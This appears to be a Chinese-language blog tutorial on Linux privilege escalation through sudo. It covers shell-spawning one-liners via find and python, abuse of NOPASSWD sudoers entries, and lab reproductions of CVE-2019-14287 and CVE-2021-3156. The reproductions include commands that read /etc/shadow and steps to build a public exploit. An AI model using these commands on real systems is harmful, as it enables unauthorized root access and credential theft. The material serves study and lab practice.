前言
最近听闻sudo刚刚出来了新漏洞,而最近正好在看linux提权这块知识点。借此梳理一下sudo提权相关的姿势。
简介
sodu 全称 Substitute User and Do,用来临时赋予root权限运行某个程序。
sodu 的执行原理:
普通用户执行命令时,首先检查/var/run/sudo/目录下是否有用户时间戳,centos检查/var/db/sudo/目录,并检查是否过期。如果时间戳过期,就需要输入当前用户的密码。输入后检查/etc/sudoers配置文件,查看用户是否有sudo权限,如果有执行sudo命令并返回结果,然后退出sudo返回到普通用户的shell环境。
而在/etc/sudoers中设置可执行sudo指令的用户。默认只有root。
sudo 常规提权
如果攻击者知道当前用户密码,就可以利用sudo执行命令提权。
如:
find 命令提权
sudo find . -exec /bin/sh \; -quit
python 命令提权
sudo python -c 'import pty;pty.spawn("/bin/bash")'
或者管理员在/etc/sudoers配置了某些命令免密码使用。
如设置apt-get命令sudo时不需要密码。
cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get
- cseroad表示用户名
- 第一个 ALL 指示允许从任何终端访问sudo
- 第二个 (ALL:ALL)指示sudo命令被允许任意用户、任意组执行
- 第三个 NOPASSWD 表示不需要输入密码而可以sudo执行的命令
再进行测试,sudo python等命令需要密码,而设置的apt-get不需要密码。
那就可以不需要输入密码利用apt-get命令来提权。
但是想获取哪些命令设置了无密码sudo,还是需要查看cat /etc/sudoers
文件或者sudo -l
命令,而这两条命令都需要一定权限或者知道当前用户密码。
更多命令sudo提权参考:https://gtfobins.github.io/
CVE-2019-14287
该漏洞具体细节也看不明白,粗略理解为非授权的特权用户可以绕过限制来获取特权。
复现该漏洞的过程,才知道该漏洞是如此鸡肋。
漏洞条件:
- sudo 版本小于1.8.28
- 当前用户存在于sudo权限列表
- 需要知道当前用户密码
复现过程:
在kali上复现该漏洞。
首先创建test普通用户
useradd test
passwd test
在/etc/sudoers 文件中添加test用户,指定test用户sudo执行vim命令
test ALL=(ALL:!root) /usr/bin/vim
切换至test用户,查看sudo版本。
exp如下:
sudo -u#-1 vim
sudo -u#4294967295 vim
查找资料:通过指定UID 的方式来代替用户,当指定的 UID 为 -1 或 4294967295(-1 的补码,其实内部是按无符号整数处理的) 时,因此可以触发漏洞。
选择一条输入:
输入当前test密码
命令行模式输入
:!cat /etc/shadow
可提权为root查看/etc/shadow 文件
坑点:
- 在复现该漏洞时发现在ubuntu和centos上,输入
sudo -u#-1 vim
结果均显示为未知用户;
- centos 7显示:
- ubuntu 18 显示:
- 复现该漏洞还需要知道当前用户密码,既然都知道密码了,sudo就可以提权了;
CVE-2021-3156
漏洞简介:
查找资料:当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。
受影响版本
sudo 1.8.2–1.8.31p2
sudo 1.9.0–1.9.5p1
漏洞检测
在普通用户下运行sudoedit -s /
命令。
- 返回以"sudoedit:"开头的错误,则当前系统可能存在漏洞;
- 返回以"usage:"开头的错误响应,则当前系统不存在漏洞;
复现过程
还是选择kali 2019 版本
下载exp,编译运行即可
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
运行sudo-hax-me-a-sandwich,并选择项对应的目标。
这里选择Debian,执行后即可提权。
总结
看似该漏洞很nice,其实依然需要一定权限执行make命令,且只危害Ubuntu、Debian系统
总结
梳理sudo提权的姿势,真心觉得不如SUID提权等姿势,有很多受限制的地方。
参考资料
https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
https://www.secpulse.com/archives/138197.html